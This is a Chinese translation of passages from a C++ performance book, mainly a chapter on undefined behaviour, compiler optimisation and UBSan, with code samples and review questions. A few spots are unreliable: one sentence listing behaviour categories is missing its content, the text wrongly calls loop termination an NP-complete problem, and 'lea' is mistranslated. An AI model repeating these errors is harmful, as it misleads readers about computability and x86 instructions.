空指针是有效的,并且表示我们不需要该结果。在函数内部,我们为请求的值的特定组合编写了最佳代码:我们只进行一次常见的计算,并且不计算任何我们不需要的东西。然而,这个检查是在形状循环内部进行的,这次是一个相当复杂的条件集。如果我们需要处理大量形状以获取相同的测量集合,那么将条件提升出循环是有意义的,但即使编译器可以做到这一点,它也不太可能这样做。同样,我们可以编写一个具有许多非类型参数的模板:它们将是布尔值,比如need_lengthneed_width等等。在该模板内部,编译器将消除所有对于特定测量组合从未执行的分支,因为现在这是编译时信息。在运行时调用的函数必须根据哪些指针是非空来将调用转发到正确的模板实例化。其中一个最有效的实现是查找表:

template <bool use_length, bool use_width, …>
void measure(const std::vector<Shape>& v,
         double* length, … );
void measure(const std::vector<Shape>& v,
         double* length, … ) {
  const int key = ((length != nullptr) << 0) |
                  ((width  != nullptr) << 1) |
                  ((depth  != nullptr) << 2) |
                  ((volume != nullptr) << 3) |
                  ((weight != nullptr) << 4);
  switch (key) {
    case 0x01: measure<true , false, … >(v, length, … );
               break;
    case 0x02: measure<false, true , … >(v, length, … );
               break;
    …
    default:; // Programming error, assert
 }
}

这将生成大量的代码:每个测量的变体都是一个新的函数。这种重大转变的影响应该始终通过性能分析来验证。然而,在测量相对简单的情况下(比如,许多形状都是立方体),并且对许多(数百万)形状请求相同的测量集合时,这种改变可以带来显著的性能提升。

在使用特定编译器时,了解其功能和优化是很重要的。这种细节超出了本书的范围,而且这是易变的知识——编译器发展迅速。相反,本章为理解编译器优化奠定了基础,并为您读者提供了进一步理解的参考框架。让我们回顾一下我们学到的主要要点。

总结

在本章中,我们探讨了 C++效率的主要领域之一:帮助编译器生成更高效的代码。

本书的目标是让你了解代码、计算机和编译器之间的交互,以便你能够凭借良好的判断力和扎实的理解做出这些决定。

帮助编译器优化你的代码最简单的方法是遵循有效优化的一般经验法则,其中许多也是良好设计的规则:最小化代码不同部分之间的接口和交互,将代码组织成块、函数和模块,每个模块都有简单的逻辑和明确定义的接口边界,避免全局变量和其他隐藏的交互等。这些也是最佳设计实践并非巧合:通常,对程序员易读的代码也易于编译器分析。

更高级的优化通常需要检查编译器生成的代码。如果你注意到编译器没有进行某些优化,考虑一下是否存在某种情况下该优化是无效的:不要考虑你的程序中发生了什么,而是考虑在给定的代码片段中可能发生了什么(例如,你可能知道你从不使用全局变量,但编译器必须假设你可能会使用)。

在下一章中,我们将探讨 C++(以及软件设计一般)中一个非常微妙的领域,它可能与性能研究产生意想不到的重叠。

问题

  1. 是什么限制了编译器的优化?

  2. 为什么函数内联对编译器优化如此重要?

  3. 为什么编译器不进行显而易见的优化?

  4. 为什么内联是一种有效的优化?

第十一章:未定义行为和性能

本章有双重重点。一方面,它解释了程序员在试图从他们的代码中挤取最佳性能时经常忽视的未定义行为的危险。另一方面,它解释了如何利用未定义行为来提高性能,以及如何正确地指定和记录这种情况。总的来说,与通常的“任何事都可能发生”相比,本章提供了一种更为不寻常但更相关的理解未定义行为的方式。

在本章中,我们将涵盖以下主题:

  • 理解未定义行为及其存在的原因

  • 理解未定义行为的真相与神话

  • 哪些未定义行为是危险的,必须避免

  • 如何利用未定义行为

  • 学习未定义行为与效率之间的联系以及如何利用它

您将学会在(别人的)代码中遇到未定义行为时如何识别它,并了解未定义行为与性能的关系。本章还教会您如何通过有意允许未定义行为、记录它并在其周围设置保障措施来利用未定义行为。

技术要求

与以前一样,您将需要一个 C++编译器。在本章中,我们使用 GCC 和 Clang,但任何现代编译器都可以。本章附带的代码可以在github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter11找到。您还需要一种方法来检查编译器生成的汇编代码。许多开发环境都有显示汇编代码的选项,GCC 和 Clang 可以将汇编代码写出而不是目标代码,调试器和其他工具可以从目标代码生成汇编代码(反汇编);您可以根据个人喜好选择使用哪种工具。

什么是未定义行为?

comp.std.c的概念警告说,“当编译器遇到(未定义的结构)时,它可以合法地让恶魔从你的鼻子里飞出来。”在类似的情境中,还提到了发射核导弹和阉割你的猫(即使你没有猫)。本章的一个旁枝目标是揭开 UB 的神秘面纱:虽然最终目标是解释 UB 与性能之间的关系,并展示如何利用 UB,但在我们能理性地讨论这个概念之前,我们无法做到这一点。

首先,在 C++(或任何其他编程语言)的上下文中,什么是 UB?标准中有特定的地方使用了“行为未定义”或“程序不合法”的词语。标准进一步指出,如果行为未定义,标准对结果“不做要求”。相应的情况被称为 UB。例如,请参考以下代码:

int f(int k) {
  return k + 10;
}

标准规定,如果加法导致整数溢出(即,如果k大于INT_MAX-10),则上述代码的结果是未定义的。

当提到 UB 时,讨论往往会朝着两个极端之一发展。我们刚刚看到的第一个。夸大的语言可能是出于对 UB 危险的警告,但它也是对理性解释的障碍。你的鼻子对于编译器的愤怒是相当安全的,你的猫也是如此。编译器最终会从你的程序生成一些代码,你将运行这些代码。它不会给你的计算机带来任何超能力:这个程序做的任何事情,你都可以有意地完成,例如,通过在汇编语言中手动编写相同的指令序列。如果你没有办法执行导致发射核导弹的机器指令,你的编译器也无法做到这一点,无论有没有 UB(当然,如果你正在编写导弹发射控制器,那就是完全不同的游戏了)。最重要的是,当你的程序行为是未定义的时候,根据标准,编译器可以生成你意料不到的代码,但这些代码不能做任何你已经做过的事情。

虽然夸大 UB 的危险是没有帮助的,但另一方面,有一种倾向于推理UB,这也是一种不幸的做法。例如,考虑这段代码:

int k = 3;
k = k++ + k;

虽然 C++标准逐渐收紧了执行这种表达式的规则,但在 C++17 中,这个特定表达式的结果仍然是未定义的。许多程序员低估了这种情况的危险。他们说,“编译器要么首先评估 k++,要么首先评估 k + k。”为了解释为什么这是错误和危险的,我们首先必须在标准中分清一些细微之处。

C++标准有三个相关的并经常混淆的行为类别:k++ + k必须发生(这将是未指定的行为,这不是标准所说的)。标准规定整个程序是不良构造的,并且对其结果没有任何限制(但在你惊慌和担心你的鼻子之前,记住结果被限制为一些可执行代码)。

反驳常常是这样的,即使编译器在编译具有未定义行为的代码时会做些什么,它仍然必须以标准规定的方式处理代码的其余部分,所以(论点是)损害仅限于该特定行的可能结果之一。就像重视危险一样重要,理解为什么这个论点是错误的也很重要。编译器是在程序被定义良好的假设下编写的,并且在这种情况下只有在这种情况下才需要产生正确的结果。没有预设如果假设被违反会发生什么。描述这种情况的一种方式是说编译器不需要容忍未定义行为。让我们回到我们的第一个例子:

int f(int k) {
  return k + 10;
}

由于程序对于足够大的k来导致整数溢出是不明确的,编译器允许假设这永远不会发生。如果发生了呢?如果你单独编译这个函数(在一个单独的编译单元中),编译器将生成一些代码,为所有k <= INT_MAX-10产生正确的结果。如果你的编译器和链接器没有整个程序的转换,相同的代码将可能对更大的k执行,并且结果将是在这种情况下你的硬件所做的任何事情。编译器可以插入对k的检查,但它可能不会这样做(尽管有一些编译器选项,它可能会这样做)。

如果函数是较大编译单元的一部分呢?这就是事情变得有趣的地方:编译器现在知道f()函数的输入参数是受限制的。这种知识可以用于优化。例如,参考以下代码:

int g(int k) {
  if (k > INT_MAX-5) cout << "Large k" << endl;
  return f(k);
}

如果f()函数的定义对编译器可见,编译器可以推断打印永远不会发生:如果k足够大,以至于程序打印,那么整个程序就是不合法的,标准不要求它打印任何东西。如果k的值在定义行为的范围内,程序将永远不会打印任何东西。无论哪种方式,不打印任何东西都是标准允许的结果。请注意,仅因为您的编译器目前不执行此优化,并不意味着它永远不会:这种类型的优化在较新的编译器中变得更加激进。

那么我们的第二个例子呢?表达式k++ + k的结果对于任何k的值都是未定义的。编译器能做什么?再次记住:编译器不需要容忍未定义行为。这个程序能保持良好定义的唯一方式是这行代码永远不被执行。编译器可以假设这是情况,并进行推理:包含这段代码的函数从未被调用,任何必要的条件都必须成立,等等,最终可能得出整个程序永远不会被执行的结论。

如果你认为真正的编译器不会做那种事情,我有一个惊喜给你:

int i = 1;
int main() {
   cout << "Before" << endl;
   while (i) {}
   cout << "After" << endl;
}

这个程序的自然期望是打印Before并永远挂起。使用 GCC(版本 9,优化 O3)编译时,它确实如此。使用 Clang(版本 13,也是 O3)编译时,它打印Before,然后打印After,然后立即终止而不会出现任何错误(它不崩溃,只是退出)。这两种结果都是有效的,因为遇到无限循环的程序的结果是未定义的(除非满足某些条件,这里都不适用)。

上面的例子非常有教育意义,可以帮助我们理解为什么我们会有未定义行为。在下一节中,我们将揭开面纱,解释未定义行为的原因。

为什么会有未定义行为?

从上一节中产生的明显问题是,为什么标准会有未定义行为?为什么它不为每种情况指定结果?一个稍微微妙的问题是,承认 C++被用于各种硬件,具有非常不同的属性,这是为什么标准不退而使用实现定义的行为,而不是将其留在未定义状态?

上一节的最后一个例子为我们提供了一个完美的演示工具,解释了为什么存在未定义行为。说法是无限循环是未定义的;另一种说法是标准不要求进入无限循环的程序产生特定的结果(标准比这更微妙,某些形式的无限循环会导致程序挂起,但这些细节目前并不重要)。要理解为什么规则存在,考虑以下代码:

size_t n1 = 0, n2 = 0;
void f(size_t n) {
  for (size_t j = 0; j != n; j += 2) ++n1; 
  for (size_t j = 0; j != n; j += 2) ++n2;
}

这两个循环是相同的,所以我们要支付两次循环的开销(循环变量的增量和比较)。编译器显然应该通过将循环折叠在一起来进行以下优化:

void f(size_t n) {
  for (size_t j = 0; j != n; j += 2) ++n1, ++n2;
}

但是,请注意,此转换仅在第一个循环终止时才有效;否则,n2的计数根本不应该被递增。在编译期间不可能知道循环是否终止 - 这取决于n的值。如果n是奇数,则循环将永远运行(与有符号整数溢出不同,递增无符号类型size_t超过其最大值是良定义的,并且该值将回滚到零)。通常情况下,编译器无法证明特定循环最终会终止(这是一个已知的 NP 完全问题)。决定假设每个循环最终都会终止,并允许否则无效的优化。因为这些优化可能使具有无限循环的程序无效,这样的循环被视为 UB,这意味着编译器不必保留具有无限循环的程序的行为。

为了避免过分简化问题,我们必须提到,并非 C++标准中定义的所有 UB 类型背后都有类似的推理。一些 UB 是因为语言必须在不同类型的硬件上得到支持,其中一些情况今天可以被认为是过时的。由于这是一本关于性能的书,我们将重点关注存在于效率原因或可用于改进某些优化的 UB 示例。

在接下来的部分中,我们将看到更多关于编译器如何利用 UB 来实现优化的示例。

未定义行为和 C++优化

在前一节中,我们刚刚看到一个例子,通过假设程序中的每个循环最终都会终止,编译器能够优化某些循环和包含这些循环的代码。优化器使用的基本逻辑始终相同:首先,我们假设程序不会出现 UB。然后,我们推断出必须满足的条件,以使这一假设成立,并假设这些条件确实总是成立。最后,任何在这些假设下有效的优化都可以进行。优化器生成的代码在违反这些假设时会执行某些操作,但我们无法知道它将执行什么操作(除了已经提到的限制,即仍然是同一台计算机执行某些指令的情况)。

标准中记录的几乎每种 UB 情况都可以转化为可能优化的示例(特定编译器是否利用这一点是另一回事)。我们现在将看到更多示例。

正如我们已经提到的,有符号整数溢出的结果是未定义的。编译器可以假设这种情况永远不会发生,并且通过正数递增有符号整数总是会得到更大的整数。编译器实际上执行了这种优化吗?让我们来看看。比较这两个函数,f()g()

bool f(int i) { return i + 1 > i; }
bool g(int i) { return true; }

在良定义的行为范围内,这些函数是相同的。我们可以尝试对它们进行基准测试,以确定编译器是否优化了f()中的整个表达式,但是,正如我们在上一章中所看到的,有一种更可靠的方法。如果两个函数生成相同的机器代码,它们肯定是相同的。

图 11.1 - 由 GCC9 生成的 f()(左)和 g()(右)函数的 x86 汇编输出

图 11.1 - 由 GCC9 生成的 f()(左)和 g()(右)函数的 x86 汇编输出

图 11.1中,我们可以看到,打开优化后,GCC 确实为这两个函数生成了相同的代码(Clang 也是如此)。汇编中出现的函数名称是所谓的 mangled names:由于 C++允许具有不同参数列表的函数具有相同的名称,因此必须为每个这样的函数生成唯一的名称。它通过将所有参数的类型编码到实际在目标代码中使用的名称中来实现。

如果您想验证此代码确实没有任何?:运算符的痕迹,最简单的方法是将f()函数与使用无符号整数进行相同计算的函数进行比较。参考以下代码:

bool f(int i) { return i + 1 > i; }
bool h(unsigned int i) { return i + 1 > i; }

无符号整数的溢出是明确定义的,并且通常并非总是i + 1始终大于i

图 11.2 - 由 GCC9 生成的 f()(左)和 h()(右)函数的 X86 汇编输出

图 11.2 - 由 GCC9 生成的 f()(左)和 h()(右)函数的 X86 汇编输出

h()函数生成不同的代码,即使您不熟悉 X86 汇编,也可以猜到cmp指令进行比较。在左边,函数f()将常量值0x1的值加载到用于返回结果的寄存器 EAX 中。

这个例子也展示了试图推断未定义行为或将其视为实现定义的危险:如果你说程序将对整数进行某种加法,如果溢出,特定的硬件将执行它的操作,那么你将非常错误。编译器可能会生成根本没有递增指令的代码。

现在,我们终于有足够的知识来完全阐明这个谜团,这个谜团的种子从书的一开始就播下了,在第二章中,性能测量。在那一章中,我们观察到了同一函数的两个几乎相同的实现之间出乎意料的性能差异。该函数的工作是逐个字符比较两个字符串,并在第一个字符串在字典顺序上更大时返回true。这是我们最简洁的实现:

bool compare1(const char* s1, const char* s2) {
  if (s1 == s2) return false;
  for (unsigned int i1 = 0, i2 = 0;; ++i1, ++i2) {
    if (s1[i1] != s2[i2]) return s1[i1] > s2[i2];
  }
}

这个函数用于对字符串进行排序,因此基准测试测量了对特定输入字符串集进行排序所需的时间:

图 11.3 - 使用 compare1()函数进行字符串比较的排序基准

图 11.3 - 使用 compare1()函数进行字符串比较的排序基准

比较实现尽可能紧凑;在这段代码中没有多余的东西。然而,令人惊讶的结果是,这是代码的性能最差的版本之一。性能最佳的版本几乎相同:

 bool compare2(const char* s1, const char* s2) {
  if (s1 == s2) return false;
  for (int i1 = 0, i2 = 0;; ++i1, ++i2) {
    if (s1[i1] != s2[i2]) return s1[i1] > s2[i2];
  }
}

唯一的区别是循环变量的类型:compare1()中是unsigned int,而compare2()中是int。由于索引永远不会是负数,这应该没有任何区别,但实际上有:

图 11.4 - 使用 compare2()函数进行字符串比较的排序基准

图 11.4 - 使用 compare2()函数进行字符串比较的排序基准

这种显著的性能差异的原因再次与未定义行为有关。要理解发生了什么,我们将不得不再次检查汇编代码。图 11.5显示了 GCC 为两个函数生成的代码(只显示了最相关的部分,即字符串比较循环):

图 11.5 - 由 GCC 生成的 compare1()(左)和 compare2()(右)函数的 X86 汇编代码

图 11.5 - 由 GCC 生成的 compare1()(左)和 compare2()(右)函数的 X86 汇编代码

代码看起来非常相似,只有一个例外:在右边(compare2())可以看到add指令,用于将循环索引递增 1(编译器通过用一个循环变量替换两个循环变量来优化代码)。在左边,没有看起来像加法或递增的东西。相反,有lea指令,它代表加载和扩展地址,但在这里用于将索引变量递增 1(进行了相同的优化;只有一个循环变量)。

到目前为止,根据你学到的一切,你应该能够猜到编译器为什么必须生成不同的代码:尽管程序员期望索引永远不会溢出,但编译器通常不能做出这种假设。请注意,两个版本都使用 32 位整数,但代码是为 64 位机器生成的。如果 32 位有符号int溢出,结果是未定义的,所以在这种情况下,编译器确实假设溢出永远不会发生。如果操作没有溢出,add指令会产生正确的结果。对于unsigned int,编译器必须考虑溢出的可能性:递增UINT_MAX应该得到 0。结果表明,x86-64 上的add指令没有这些语义。相反,它扩展结果成为 64 位整数。在 X86 上进行 32 位无符号整数算术的最佳选项是lea指令;它可以完成任务,但速度要慢得多。

这个例子演示了通过从程序是良好定义的假设和 UB 永远不会发生的假设逆向推理,编译器可以实现非常有效的优化,最终使整个排序操作的速度提高了数倍。

现在我们了解了我们的代码中发生了什么,我们可以解释代码的其他版本的行为。首先,使用 64 位整数,有符号或无符号,将给我们与 32 位有符号整数相同的快速性能:在所有情况下,编译器都将使用add(对于 64 位无符号值,它确实具有正确的溢出语义)。其次,如果使用最大索引或字符串长度,编译器将推断索引不会溢出:

bool compare1(const char* s1, const char* s2,
              unsigned int len) {
  if (s1 == s2) return false;
  for (unsigned int i1 = 0, i2 = 0; i1 < len; ++i1, ++i2) {
    if (s1[i1] != s2[i2]) return s1[i1] > s2[i2];
  }
  return false;
}

与长度的不必要比较使得这个版本比最佳变体稍慢。避免意外遇到这个问题的最可靠方法是始终使用有符号的循环变量或使用硬件本机的无符号整数(因此,除非确实需要,避免在 64 位处理器上进行unsigned int数学运算)。

我们可以使用标准中描述的几乎任何其他未定义行为的情况来构造类似的演示(尽管不能保证特定的编译器会利用可能的优化)。这里是另一个使用指针解引用的例子:

int f(int* p) {
    ++(*p);
    return p ? *p : 0; // Optimized to: return *p
}

这是一个相当常见的情况的简化,程序员已经编写了指针检查来防止空指针,但并非在所有地方都这样做。如果输入参数是空指针,第二行(递增)就是 UB。这意味着整个程序的行为是未定义的,因此编译器可以假设它永远不会发生。对汇编代码的检查显示,的确,第三行的比较被消除了:

图 11.6 - 生成带有(左)和不带有(右)?:运算符的 f()函数的 X86 汇编

图 11.6 - 生成带有(左)和不带有(右)?:运算符的 f()函数的 X86 汇编

如果我们首先进行指针检查,情况也是一样的:

int f(int* p) {
    if (p) ++(*p);
    return *p;
}

再次,对汇编代码的检查将显示指针比较被消除了,尽管到目前为止程序的行为是良好定义的。推理是相同的:如果指针p不是空的,比较是多余的,可以省略。如果p为空,程序的行为是未定义的,这意味着编译器可以做任何它想做的事情,它想要省略比较。最终结果是,无论p是否为空,比较都可以被消除。

在上一章中,当我们研究编译器优化时,我们花了大量时间分析了哪些优化是可能的,因为编译器可以证明它们是安全的。我们将重新讨论这个问题,因为首先,这对于理解编译器优化是绝对必要的,其次,它与 UB 有关。我们刚刚看到,当编译器从特定语句(例如从return语句推断出p不为空)推断出一些信息时,这些知识不仅用于优化后续代码,还用于优化前面的代码。传播这种知识的限制来自编译器能够确定的其他内容。为了证明这一点,让我们稍微修改前面的例子:

extern void g();
int f(int* p) {
    if (p) g();
    return *p;
}

在这种情况下,编译器不会消除指针检查,这可以从生成的汇编代码中看出:

图 11.7 - 用于 f()函数的 X86 汇编代码(左)和不带指针检查的 X86 汇编代码(右)

图 11.7 - 用于 f()函数的 X86 汇编代码(左)和不带指针检查的 X86 汇编代码(右)

test指令对空(零)进行比较,然后是条件跳转 - 这就是汇编中if语句的样子。

为什么编译器没有优化掉这个检查?要回答这个问题,你必须弄清楚在什么条件下,这种优化会改变程序的良好定义行为。

使优化无效需要以下两个条件:

  • 首先,g()函数必须知道指针p是否为空。这是可能的:例如,p也可以由f()的调用者存储在全局变量中。

  • 其次,如果p为空,return语句就不应该被执行。这也是可能的:如果p为空,g()可能会抛出异常。

对于我们最后一个与 UB 密切相关的 C++优化示例,我们将看一些非常不同的东西:const关键字对优化的影响。同样,这将教会我们为什么编译器不能优化某些代码,就像成功的优化一样。我们将从我们之前看到的代码片段开始:

bool f(int x) { return x + 1 > x; }

优化编译器将会消除这个函数中的所有代码,并用return true替换它。现在我们将让函数做更多的工作:

void g(int y);
bool f(int x) {
  int y = x + 1;
  g(y);
  return y > x;
}

当然,同样的优化是可能的,因为代码可以重写如下:

void g(int y);
bool f(int x) {
  g(x + 1);
  return x + 1 > x;
}

调用g()必须进行,但函数仍然返回true:比较不能产生其他结果,否则会陷入未定义的行为。再次强调,大多数编译器都会进行这种优化。我们可以通过比较从原始代码生成的汇编和从完全手动优化的代码生成的汇编来确认这一点:

void g(int y);
bool f(int x) {
  g(x + 1);
  return true;
}

优化之所以可能是因为g()函数不会改变其参数。在同样的代码中,如果g()通过引用获取参数,那么这种优化就不再可能:

void g(int& y);
bool f(int x) {
  int y = x + 1;
  g(y);
  return y > x;
}

现在g()函数可能会改变y的值,因此每次都必须进行比较。如果函数g()的意图不是改变其参数,当然我们可以通过值传递参数(正如我们已经看到的)。另一个选择是通过const引用传递;虽然对于小类型(如整数)没有必要这样做,但模板代码通常会生成这样的函数。在这种情况下,我们的代码如下:

void g(const int& y);
bool f(int x) {
    int y = x + 1;
    g(y);
    return y > x;
}

快速检查汇编程序显示return语句没有被优化:它仍然进行比较。当然,某个特定编译器不执行某个优化并不能证明什么:没有优化器是完美的。但在这种情况下,是有原因的。尽管代码中这样写,但 C++标准并不保证g()函数不会改变其参数!以下是一个完全符合标准的实现,阐明了这个问题:

void g(const int& y) { ++const_cast<int&>(y); }
bool f(int x) {
    int y = x + 1;
    g(y);
    return y > x;
}

是的,函数允许去除const。结果是明确定义的,并且在标准中有规定(这并不意味着这是的代码,只是有效的)。然而,有一个例外:从在其创建时被声明为const的对象中去除const是未定义行为。为了说明,这是明确定义的(但不建议):

int x = 0;
const int& y = x;
const_cast<int&>(y) = 1;

这是未定义行为:

const int x = 0;
const int& y = x;
const_cast<int&>(y) = 1;

我们可以尝试利用这一点,通过将中间变量y声明为const

void g(const int& y);
bool f(int x) {
    const int y = x + 1;
    g(y);
    return y > x;
}

现在编译器可以假定该函数总是返回true:改变这一点的唯一方法是调用未定义行为,而编译器并不需要容忍未定义行为。在撰写本书时,我们并不知道有任何编译器实际上进行了这种优化。

有了这个想法,关于使用const来促进优化,可以推荐什么?

  • 如果一个值不会改变,将其声明为const。虽然正确性是主要的好处,但这确实可以实现一些优化,特别是当编译器可以通过在编译时评估表达式来传播const时。

  • 为了优化,如果值在编译时已知,声明为constexpr

  • 通过const引用传递参数对于优化几乎没有什么作用,因为编译器必须假设函数可能会去除const(如果函数是内联的,编译器知道发生了什么,但参数的声明方式就不重要了)。另一方面,这是您可以将const对象传递给函数的唯一方式,因此,尽可能声明引用为const(更重要的结果是意图的清晰度)。

  • 对于小类型,按值传递可能比按引用传递更有效(这不适用于内联函数)。这很难与模板生成的通用函数协调一致(不要假设模板总是内联的;大型模板函数通常不是)。有办法强制对特定类型进行按值传递,但这会使您的模板代码变得更加繁琐。不要从编写这样的代码开始;只有在测量表明对于特定代码片段来说,这种努力是合理的时候才这样做。

我们已经详细探讨了 C++中未定义行为如何影响 C++代码的优化。现在是时候扭转局面,学习如何利用未定义行为来优化您自己的程序。

利用未定义行为进行高效设计

在本节中,我们将讨论未定义行为,不是作为标准规定并适用于 C++,而是作为您,程序员,规定并适用于您的软件。为了达到这个目的,首先从不同的角度考虑未定义行为是有帮助的。

到目前为止,我们所见过的所有未定义行为示例可以分为两种。第一种是诸如++k + k之类的代码。这些是错误,因为这样的代码根本没有定义的行为。第二种是诸如k + 1之类的代码,其中k是有符号整数。这种代码随处可见,大多数情况下都能正常工作。它的行为是明确定义的,除了某些变量值。

换句话说,代码具有隐含的前提条件:只要这些前提条件得到满足,程序就会表现良好。请注意,在程序的更大上下文中,这些前提条件可能是隐含的,也可能不是:程序可能会验证输入或中间结果,并防范会导致未定义行为的值。无论哪种方式,程序员都与用户定义了一个合同:如果输入遵守某些限制,结果就保证是正确的;换句话说,程序的行为是明确定义的。

当违反限制时会发生什么?

有以下两种可能性:

  • 首先,程序可能会检测到输入违反了合同并处理错误。这种行为仍然是明确定义的,并且是规范的一部分。

  • 其次,程序可能无法检测到合同被违反,并像通常一样继续进行。由于合同对于保证正确结果至关重要,程序现在在未知领域操作,通常情况下无法预测会发生什么。

我们刚刚描述了 UB。

现在我们明白了 UB 只是程序在规定合同之外运行的行为,让我们想想它如何适用于我们的软件。

大多数足够复杂的程序都对其输入有前提条件,与用户有合同。有人可能会认为这些前提条件应该始终被检查并报告任何错误。然而,这可能是一个非常昂贵的要求。再次,让我们考虑一个例子。

我们想编写一个程序,扫描在纸上绘制的图像(或蚀刻在印刷电路板上),并将其转换为图形数据结构。程序的输入可能如下所示:

图 11.8 - 图形绘制是图形构建程序的输入

图 11.8 - 图形绘制是图形构建程序的输入

该程序获取图像,识别矩形,从每个矩形创建图节点,识别线条,对于每条线条找出它连接的两个矩形,并在图中创建相应的边。

假设我们有一个图像获取和分析库,可以为我们提供一组形状(矩形和线条)及其所有坐标。现在我们所要做的就是弄清楚哪些线连接哪些矩形。我们已经有了所有坐标,所以从现在开始就是纯几何。表示这个图形的最简单方法之一是作为边的表格。我们可以使用任何容器(比如说,一个向量)来存储表格,如果我们为每个节点分配一个唯一的数字 ID,那么一条边就是一对数字。我们可以使用任意数量的计算几何算法来检测线条和矩形之间的交点,并构建这个表格(以及图形本身)一条边一条边地。

听起来足够简单,我们有一个自然的数据表示,相当紧凑且易于处理。不幸的是,我们还与用户有一个隐含的合同:我们要求每条线都恰好与两个矩形相交(还有,矩形之间不相交,但一次只处理一个混乱)。

图 11.9 - 图形识别程序的无效输入

图 11.9 - 图形识别程序的无效输入

图 11.9中,我们看到了一个违反合同的输入示例:一条线连接了三个矩形,而另一条线只接触了一个。正如我们之前讨论的,我们有两个选择:我们可以检测并报告输入错误,或者我们可以忽略它们。第一种选择使我们的程序更加健壮,但带来了显著的性能损失:我们的原始程序在找到第二个连接到给定边的矩形后可能会停止寻找,并且从那时起忽略该边。这种优化的收益是相当可观的:对于一个看起来像图 11.8的图形(但规模更大),它可能将运行时间减少一半。强制执行输入验证会浪费大量时间,如果输入最终是正确的,会让用户感到沮丧,因为他们有其他方法来确保输入是有效的。不验证输入会导致 UB:如果我们有一条线连接了三个矩形,算法将在找到前两个矩形后停止(并且这个顺序可能依赖于数据,所以你真正能说的是,边将在涉及的两个节点之间创建)。

如果性能差异微不足道(或者总运行时间如此之短,使其加倍无关紧要),最佳解决方案将是明显的:验证输入。但在这种情况下以及许多其他情况下,验证很容易与找到解决方案一样昂贵。在这种情况下应该怎么办?

首先,我们必须明确用户所承担的契约。我们应该清楚地指定和记录什么构成有效输入。之后,对于性能关键的程序,最佳实践是提供最佳性能。更广泛的契约(对限制较少的那种)总是比较窄的契约更好,因此,如果有一些无效输入,我们可以轻松检测并以最小的开销处理,那就应该这样做。除此之外,我们所能做的就是记录程序行为未定义的条件,就像 C++标准中所做的那样。

我们可以做一些额外的努力:我们可以为用户提供一个输入验证工具,可以作为程序中的可选步骤或作为一个独立的软件。运行它会花费时间,但如果用户从主程序中获得奇怪的结果,他们可以检查确保输入是有效的。这比简单地描述行为何时未定义要好得多(然而,有些情况下,这种验证成本太高而不切实际)。

C++编译器开发人员是否可以为我们程序员做出同样的额外努力,并为我们提供一个可选工具来检测代码中的 UB,这不是很好吗?事实证明,开发人员也这样认为:如今许多编译器都有启用 UB sanitizer(通常称为UBSan)的选项。它的工作原理如下。让我们从一些可能导致 UB 的代码开始:

int g(int k) {
    return k + 10;
}

编写一个调用此函数的程序,参数足够大(大于INT_MAX-10),并启用 UBSan 编译。对于 Clang 或 GCC,选项是-fsanitize=undefined。以下是一个例子:

clang++ --std=c++17 –O3 –fsanitize=undefined ub.C

运行程序,你会看到类似以下的内容:

ub.C:10:20: runtime error: signed integer overflow: 
        2147483645 + 10 cannot be represented in type 'int'

就像我们的图表示例一样,UB 检测需要时间并使程序变慢,因此这是你在测试和调试中应该做的事情。将经过消毒处理的运行作为常规回归测试的一部分,并且要认真对待报告的错误:仅仅因为你的程序今天产生了正确的结果,并不意味着下一个编译器不会生成一些非常不同的代码并改变结果。

我们已经了解了 UB,为什么它有时是一个必要的恶,并且如何利用它来提高性能。在翻页之前,让我们回顾一下我们学到的内容。

总结

我们有一个专门讨论 C++中 UB 的整章,为什么呢?因为这个主题与性能密切相关。

首先,要理解当程序接收到超出规定程序行为的契约的输入时,就会发生 UB。此外,规范还表示程序不需要检测此类输入并发出诊断。这适用于 C++标准定义的 UB 以及您自己程序中的 UB。

接下来,规范(或标准)未涵盖所有可能的输入并定义结果的原因主要与性能有关:当需要可靠地产生特定结果时,引入 UB 通常会非常昂贵。对于 C++中的 UB,处理器和内存架构的多样性也导致了难以统一处理的情况。在没有可行的方法来保证特定结果的情况下,标准将结果留空。

最后,程序不需要至少检测,如果不处理无效输入的原因是,这样的检测可能也非常昂贵:有时确认输入有效比计算结果花费的时间更长。

在设计软件时,你应该牢记这些考虑因素:始终希望有一个广泛的合同,为任何或几乎任何输入定义结果。但这样做可能会给只提供典型或“正常”输入的用户带来性能开销。当用户面临更快地执行所需任务和可靠地执行用户根本不想解决的任务之间的选择时,大多数用户会选择性能。作为一种妥协,你可以为用户提供一种验证输入的方式;如果这种验证是昂贵的,它应该是可选的。

当涉及到 C++标准规定的 UB 时,情况就变了,你成了用户。重要的是要理解,如果程序包含具有 UB 的代码,整个程序就是不明确定义的,不仅仅是问题中的一行代码。这是因为编译器可以假设在运行时永远不会发生 UB,并从此进行推理,以对代码进行相应的优化。现代编译器在某种程度上都这样做,未来的编译器只会更加积极地进行推理。

最后,许多编译器开发者还提供可以在运行时检测未定义行为的验证工具 - UB 消毒剂。就像你自己程序的输入验证器一样,这些工具需要时间运行,这就是为什么消毒剂是一个可选工具。你应该在软件测试和开发过程中利用它。

我们几乎到了书的结尾;在下一章,也就是最后一章中,我们将以考虑设计软件的含义和教训的眼光回顾我们所学到的一切。

问题

  1. 什么是未定义行为?

  2. 为什么我们不能为程序可能遇到的任何情况定义结果?

  3. 如果我编写了标准标记为 UB 的代码,测试结果,并验证代码有效,我没问题,对吗?

  4. 为什么我要故意设计一个具有记录的未定义行为的程序?

第十二章:性能设计

本章回顾了本书中学到的所有与性能相关的因素和特性,并探讨了我们所获得的知识和理解如何影响我们在开发新软件系统或重新架构现有系统时所做的设计决策。我们将看到设计决策如何影响软件系统的性能,学习如何在没有详细数据的情况下做出与性能相关的设计决策,以及审查设计 API、并发数据结构和高性能数据结构的最佳实践,以避免低效。我们将探讨以下主题:

  • 设计与性能的相互作用

  • 性能设计

  • API 设计考虑

  • 针对最佳数据访问进行设计

  • 性能权衡

  • 做出知情的设计决策

你将学习如何将良好的性能作为设计目标之一,并如何设计高性能软件系统,以确保高效的实现不会成为对程序基本架构的挑战。

技术要求

你将需要一个 C++编译器和一个微基准测试工具,比如我们在上一章中使用的 Google Benchmark 库(可在github.com/google/benchmark找到)。本章附带的代码可以在github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter12找到。

设计与性能的相互作用

